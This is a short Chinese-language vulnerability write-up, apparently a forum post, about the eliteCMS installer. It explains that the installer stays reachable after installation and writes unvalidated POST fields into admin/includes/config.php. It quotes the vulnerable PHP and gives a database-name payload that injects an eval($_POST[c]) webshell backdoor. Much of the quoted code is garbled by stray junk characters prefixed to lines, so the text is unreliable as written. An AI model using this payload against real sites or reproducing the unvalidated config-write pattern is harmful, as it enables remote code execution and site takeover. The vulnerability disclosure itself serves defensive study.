eliteCMS安装文件未验证 + 一句话写入安全漏洞

admin

eliteCMS的安装程序安装结束后未作锁定，导致黑客可以通过访问安装程序地址进行重复安装
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另外一个漏洞是安装程序可以直接写入一句话到admin/includes/config.php
我们来看代码：

...
elseif ($_GET['step'] == "4") {
    $file = "../admin/includes/config.php";
    $write = "<?php\n";
    $write .= "/**\n";
    $write .= "*\n";
) P% I* z$ U) T    $write .= "*eliteCMS-The LightweightCMS Copyright 2008 elite-graphix.net.\n";
6 ?3 R8 |2 U  v3 ?6 [...略...
    $write .= "*\n";
    $write .= "*/\n";
    $write .= "\n";
9 W! j" @3 ], v/ x    $write .= "define(\"DB_SERVER\", \"{$_SESSION['DB_SERVER']}\");\n";
2 n$ e6 i4 R$ u& N; l; T    $write .= "define(\"DB_NAME\", \"{$_SESSION['DB_NAME']}\");\n";
    $write .= "define(\"DB_USER\", \"{$_SESSION['DB_USER']}\");\n";
0 A* r4 q  J& a' g7 {, o. C    $write .= "define(\"DB_PASS\", \"{$_SESSION['DB_PASS']}\");\n";
    $write .= "\$connection = mysql_connect(DB_SERVER, DB_USER, DB_PASS);\n";
9 N1 L& |# X- e    $write .= "if (!\$connection) {\n";
0 E3 H! |+ \+ o( [    $write .= "        die(\"Database connection failed\" .mysql_error());\n";
    $write .= "        \n";
) e8 D! t& U( x7 Q' ]0 B) `    $write .= "} \n";
9 e4 n1 w( G$ A& `+ h2 _! V( X    $write .= "\$db_select = mysql_select_db(DB_NAME, \$connection);\n";
. K- O5 v7 p1 C/ \: r5 c    $write .= "if (!\$db_select) {\n";
    $write .= "        die(\"Database select failed\" .mysql_error());\n";
    $write .= "        \n";
    $write .= "} \n";
    $write .= "?>\n";
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& s( b5 \) J* f8 w( V# h* x    $writer = fopen($file, 'w');
- ^/ Z+ V; ]9 c! K6 e4 b1 y7 k: |...

8 V* f6 d) I; W6 n  P在看代码：

$_SESSION['DB_SERVER'] = $_POST['DB_SERVER'];
$ o0 [6 n7 Y. n6 l% x# S( g; v9 Q1 z$_SESSION['DB_NAME'] = $_POST['DB_NAME'];
$_SESSION['DB_USER'] = $_POST['DB_USER'];
3 S! Q# l; M4 a) M! j/ a3 X$_SESSION['DB_PASS'] = $_POST['DB_PASS'];

取值未作任何验证
4 E& p+ @. j. G# m$ S! h9 G1 q如果将数据库名POST数据：

"?><?php eval($_POST[c]);?><?php
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4 ?6 d9 d, l/ Q) v将导致一句话后门写入/admin/includes/config.php
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